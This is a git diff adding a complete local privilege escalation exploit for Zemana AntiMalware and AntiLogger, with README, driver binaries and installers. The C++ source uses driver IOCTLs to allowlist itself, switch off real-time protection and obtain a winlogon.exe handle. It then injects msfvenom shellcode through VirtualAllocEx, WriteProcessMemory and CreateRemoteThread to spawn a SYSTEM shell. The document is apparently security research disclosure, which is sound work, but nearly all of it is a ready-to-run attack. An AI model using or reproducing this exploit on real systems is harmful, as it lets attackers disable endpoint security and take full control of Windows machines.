diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/README.md b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/README.md new file mode 100644 index 0000000..6656313 --- /dev/null +++ b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/README.md @@ -0,0 +1,13 @@ +Exploit title: Zemana AntiMalware v.3.2.28 & Zemana AntiLogger v.2.74.204.664 - LPE +Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com +Date: 12/06/2023 +Vendor Homepage: https://zemana.com/ +Download: https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe + https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe +Affected Version: Zemana AntiMalware v. <= 3.2.28 + Zemana AntiLogger v. <= 2.74.204.664 +CVE: CVE-2023-XXXX +Tested on: Windows 11 Pro x64 v.22621.1778 +Category: local exploit +Platform: windows +Usage: Compile and run this exploit on a machine where a vulnerable version of Zemana AntiMalware/AntiLogger is installed to achieve LPE as NT AUTHORITY\SYSTEM \ No newline at end of file diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys new file mode 100644 index 0000000..5b7f9a0 Binary files /dev/null and b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys differ diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 new file mode 100644 index 0000000..c6e1295 Binary files /dev/null and b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 differ diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_LPE_exploit.cpp b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_LPE_exploit.cpp new file mode 100644 index 0000000..b01b4bc --- /dev/null +++ b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_LPE_exploit.cpp @@ -0,0 +1,167 @@ +/* +Exploit title: Zemana AntiMalware v.3.2.28 & Zemana AntiLogger v.2.74.204.664 - LPE +Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com +Date: 12/06/2023 +Vendor Homepage: https://zemana.com/ +Download: https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe + https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe +Affected Version: Zemana AntiMalware v. <= 3.2.28 + Zemana AntiLogger v. <= 2.74.204.664 +CVE: CVE-2023-XXXX +Tested on: Windows 11 Pro x64 v.22621.1778 +Category: local exploit +Platform: windows +Usage: Compile and run this exploit on a machine where a vulnerable version of Zemana AntiMalware/AntiLogger is installed to achieve LPE as NT AUTHORITY\SYSTEM +*/ + +#include +#include +#include +#include + +void PrintBanner(void) { + std::cout << "+----------------------------------------------------------------------------------+" << std::endl; + std::cout << "| CVE-2023-XXXX: Zemana AntiMalware/AntiLogger LPE by VoidSec |" << std::endl; + std::cout << "+----------------------------------------------------------------------------------+\n" << std::endl; +} + +int GetProcessPIDByName(PCSTR ProcessName) { + // Get HANDLE to ProcessName + DWORD pid = 0; + + // Create toolhelp snapshot + HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + PROCESSENTRY32 process; + ZeroMemory(&process, sizeof(process)); + process.dwSize = sizeof(process); + + // Walkthrough all processes + if (Process32First(hsnapshot, &process)) + { + do + { + // Compare process.szExeFile based on name + if (std::string(process.szExeFile) == std::string(ProcessName)) + { + pid = process.th32ProcessID; + break; + } + } while (Process32Next(hsnapshot, &process)); + } + + CloseHandle(hsnapshot); + + if (pid != 0) + { + return pid; + } + return NULL; +} + + +int main(int argc, char** argv) +{ + HANDLE hDevice = 0, hWinlogon = 0; + int exploit_pid = 0, winlogon_pid = 0; + bool success = 0, disable_zam = 0, disable_rt = 0; + void* destMem = NULL; + SIZE_T written = 0; + + /*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/ + unsigned char shellcode[] = + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" + "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" + "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" + "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" + "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" + "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" + "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" + "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" + "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" + "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" + "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" + "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" + "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" + "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" + "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" + "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" + "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" + "\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"; + + PrintBanner(); + + std::cout << "[-] Retrieving a handle to the Zemana device driver" << std::endl; + hDevice = CreateFile("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (!hDevice) { + std::cout << "\t[!] Failed to get a handle to the Zemana device driver. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] ZemanaAntiMalware HANDLE: 0x" << std::hex << hDevice << std::endl; + + std::cout << "[-] Adding exploit's process to the allowlist" << std::endl; + exploit_pid = GetCurrentProcessId(); + if (!exploit_pid) { + std::cout << "\t[!] Failed to get exploit's process PID. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Exploit process' PID: " << exploit_pid << std::endl; + + success = DeviceIoControl(hDevice, 0x80002010, &exploit_pid, sizeof(exploit_pid), NULL, 0, NULL, NULL); + if (!success) { + std::cout << "\t[!] Failed to add exploit's process to the allowlist. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Exploit process' added to the allowlist" << std::endl; + + std::cout << "[-] Disabling ZAM Guard and Real-Time Protection" << std::endl; + disable_zam = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL); + disable_rt = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL); + if (!disable_zam || !disable_rt) { + std::cout << "\t[!] Failed to disable ZAM Guard or Real-Time Protection" << std::endl; + } + std::cout << "\t[+] Disabled ZAM Guard and Real-Time Protection" << std::endl; + + std::cout << "[-] Retrieving PID to Winlogon" << std::endl; + winlogon_pid = GetProcessPIDByName("winlogon.exe"); + if (!winlogon_pid) { + std::cout << "\t[!] Cannot get winlogon.exe PID" << std::endl; + return -1; + } + std::cout << "\t[+] winlogon.exe PID: " << winlogon_pid << std::endl; + + std::cout << "[-] Retrieving Winlogon HANDLE" << std::endl; + success = DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &hWinlogon, sizeof(HANDLE), NULL, NULL); + if (!success) { + std::cout << "\t[!] Failed to get Winlogon HANDLE. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] winlogon.exe HANDLE: 0x" << std::hex << hWinlogon << std::endl; + + std::cout << "[-] Loading shellcode in winlogon.exe" << std::endl; + destMem = VirtualAllocEx(hWinlogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!destMem) { + std::cout << "\t[!] Failed to allocate memory in the winlogon.exe process. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Memory allocated at: 0x" << std::hex << destMem << std::endl; + + std::cout << "[-] Writing shellcode within winlogon.exe process' memory" << std::endl; + success = WriteProcessMemory(hWinlogon, destMem, shellcode, sizeof(shellcode), &written); + if ((DWORD)success == INVALID_FILE_ATTRIBUTES) { + std::cout << "\t[!] Failed to write shellcode to winlogon.exe process' memory. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Shellcode loaded!" << std::endl; + + std::cout << "[-] Spawning SYSTEM shell" << std::endl; + success = CreateRemoteThread(hWinlogon, NULL, 0, (LPTHREAD_START_ROUTINE)destMem, NULL, 0, NULL); + if (!success) + { + std::cout << "\t[!] CreateRemoteThread failed. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\n[WIN WIN WIN] You are now NT AUTHORITY\\SYSTEM [WIN WIN WIN]" << std::endl; + return 0; +} diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/installer/Zemana.AntiLogger.Setup.exe b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/installer/Zemana.AntiLogger.Setup.exe new file mode 100644 index 0000000..1afa2d3 Binary files /dev/null and b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/installer/Zemana.AntiLogger.Setup.exe differ diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/installer/Zemana.AntiMalware.Setup.exe b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/installer/Zemana.AntiMalware.Setup.exe new file mode 100644 index 0000000..472d059 Binary files /dev/null and b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/installer/Zemana.AntiMalware.Setup.exe differ